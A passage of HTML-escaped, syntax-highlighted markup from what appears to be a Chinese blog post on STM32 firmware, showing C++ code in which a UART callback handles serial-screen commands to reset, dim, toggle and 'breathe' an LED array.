class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e__crt_times__\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"n\"\u003e__delay_times__\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ereset\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ectn\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e## 串口屏控制(状态控制和直接控制)\n这里的状态一是Crt_Main_Task, 也就写了个流水,二是每个灯独立的状态控制,用到的也就一个 呼吸。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e29\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e30\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e31\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e32\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e33\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e34\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e35\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e36\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e37\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e38\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e39\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e40\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e41\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e42\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e43\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e44\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e45\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e46\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e47\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e48\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e49\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e50\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e51\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e52\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e53\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e54\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e55\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e56\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e57\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e58\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e59\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e60\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e61\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e62\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-cpp\" data-lang=\"cpp\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003ereset_whole\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCrt_Main_Task\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCrtLedIndex\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eledarray\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eresetAll\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003edelay_20\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ereset\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_UART_RxCpltCallback\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eUART_HandleTypeDef\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003e__HAL_UART_CLEAR_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eUART_CLEAR_IDLEF\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003e__HAL_UART_DISABLE_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eUART_IT_TXE\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCrt_Main_Task\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eswitch\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 全关复位\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x01\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ereset_whole\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 设置亮度\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x02\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ecompares\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecompares\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eledarray\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esetCompares\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecompares\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 亮灭互转且设置亮度\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x03\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003etoggles\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003etoggles\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eledarray\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etoggleLeds\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etoggles\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 呼吸(逐渐亮/暗)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x04\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003etasks\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003etasks\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e3\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eledarray\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esetTasks\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etasks\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 流水呼吸\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x05\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCrt_Main_Task\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这个函数用来处理各led的顺序大小然后重新排序\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003esortVectorByValue\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBlink_Leds\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBlink_Cnt\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003e__HAL_UART_ENABLE_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eUART_IT_TXE\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eHAL_UART_Receive_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e9\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003e__HAL_UART_FLUSH_DRREGISTER\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003e__HAL_UART_CLEAR_FLAG\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eUART_FLAG_RXNE\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan 